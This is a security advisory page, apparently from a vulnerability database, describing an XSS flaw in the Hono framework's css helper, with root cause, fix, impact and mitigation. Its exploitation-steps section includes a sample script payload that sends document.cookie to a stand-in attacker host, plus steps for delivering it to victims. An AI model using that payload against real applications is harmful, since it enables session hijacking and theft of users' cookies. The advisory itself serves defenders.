CVE-2026-126359: 
JavaScript Analyse et atténuation de la vulnérabilité

Aperçu

CVE-2026-126359 is a Cross-Site Scripting (XSS) vulnerability in the css helper of the Hono web application framework (hono/css) that allows HTML injection during server-side rendering. The flaw affects Hono versions >= 3.12.0 and <= 4.13.15 (npm package hono). It was originally published on November 1, 2026 by maintainer yusukebe and added to the GitHub Advisory Database on November 12, 2026. The vulnerability carries a CVSS v3.1 base score of 3.4 (Low) (Github Advisory, Hono Release).

Détails techniques

The root cause (CWE-79) lies in how the css template helper in hono/css escapes interpolated string values individually before joining them with surrounding template text. The escape logic checks for </ only within each value in isolation, so it cannot detect a < that appears at the end of the template literal or a preceding interpolated value when the next attacker-controlled value begins with /style>. After CSS minification, the combined output can produce an unescaped </style> closing tag, terminating the <Style /> element prematurely and causing the remainder of the interpolated content to be parsed as HTML by the browser. The fix, applied in commit 15bbd96, moves the closing-tag escape step to after minification by replacing all </ occurrences with <\/ in the final output string (Github Advisory, Fix Commit).

Impact

Successful exploitation allows an attacker who controls an interpolated value in a css template to inject arbitrary HTML or JavaScript into server-rendered pages, potentially executing attacker-controlled scripts in the browsers of users who view the affected page. This can lead to session hijacking, credential theft, or exfiltration of sensitive information accessible to the page. Availability and integrity of the server itself are not directly impacted; the scope is limited to the confidentiality of data accessible in the victim's browser context (Github Advisory).

Exploitabilité

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (Feedly). The vulnerability requires high attack complexity — the attacker must control a string interpolated immediately after a < character in a css template — and user interaction is required (a victim must view the rendered page). The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog (Github Advisory).

Étapes d’exploitation

  1. Identify a vulnerable application: Find a Hono-based server-side rendered application using hono/css versions >= 3.12.0 and <= 4.13.15 that passes user-controlled input into a css template literal.
  2. Locate the injection point: Identify a code path where untrusted user input is interpolated into a css template immediately after a < character — either in the template itself (e.g., css\content: '<${userInput}'`) or via two adjacent interpolations (e.g., css`content: '${prefix}${name}'`` where both are attacker-controlled).
  3. Craft the malicious payload: Supply a value that begins with /style> followed by arbitrary HTML or script, for example: /style><script>document.location='https://attacker.example/steal?c='+document.cookie</script>.
  4. Trigger server-side rendering: Submit a request that causes the server to render the page with the injected value, producing output such as <style ...>.class{content:'<\/style><script>...</script>'}</style> — but without the escape, the </style> closes the element early.
  5. Deliver to victim: Distribute a link or embed the crafted request so that a victim's browser loads the server-rendered page, executing the injected script in their browser context and achieving the attacker's objective (e.g., cookie theft, credential harvesting) (Github Advisory, Fix Commit).

Atténuation et solutions de contournement

Upgrade the hono npm package to version 4.13.16 or later, which escapes closing tags after CSS minification to prevent the injection (Hono Release). As a workaround for applications that cannot immediately upgrade, avoid interpolating untrusted values into css templates, or ensure that the template text immediately before any interpolation does not end with <. Implementing a strict Content Security Policy (CSP) header can also reduce the impact of any successful XSS injection (Github Advisory).

Réactions de la communauté

The advisory was published by Hono maintainer yusukebe and included as part of a broader v4.13.16 security release that addressed five separate vulnerabilities. The release notes explicitly encouraged users relying on the css helper with untrusted values to upgrade (Hono Release). No significant independent researcher commentary or notable media coverage has been identified for this specific CVE.

Ressources supplémentaires

État de correction de la distribution Linux

Corrigez la disponibilité entre les grandes distributions Linux et leurs versions.

RHEL / CentOS

Affecté

RHEL 10

Non affecté

Source: Ce rapport a été généré à l’aide de l’IA

Connexe JavaScript Vulnérabilités :

CVE ID

Gravité

Partition

Technologies

Nom du composant

Exploit CISA KEV

A corrigé

Date de publication

GHSA-x2g8-7ch4-h792HIGH8.9
  • JavaScript logoJavaScript
  • @graphql-markdown/core
NonOuiNov 18, 2026
GHSA-f7q8-26cc-xx7rHIGH8.9
  • JavaScript logoJavaScript
  • @graphql-markdown/docusaurus
NonOuiNov 18, 2026
GHSA-8r4f-p963-7296HIGH8.9
  • JavaScript logoJavaScript
  • @graphql-markdown/graphql
NonOuiNov 18, 2026
GHSA-6m8m-x9vx-3f84HIGH7.9
  • JavaScript logoJavaScript
  • @graphql-markdown/docusaurus
NonOuiNov 18, 2026
GHSA-4rq7-f537-x35qHIGH7.8
  • JavaScript logoJavaScript
  • systeminformation
NonOuiNov 18, 2026

Évaluation gratuite des vulnérabilités

Évaluez votre posture de sécurité cloud

Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.

Évaluation de la demande

Ressources Wiz supplémentaires

Obtenez une démo personnalisée

Prêt(e) à voir Wiz en action ?

"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
David EstlickRSSI
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
Adam FletcherChef du service de sécurité
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."
Greg PoniatowskiResponsable de la gestion des menaces et des vulnérabilités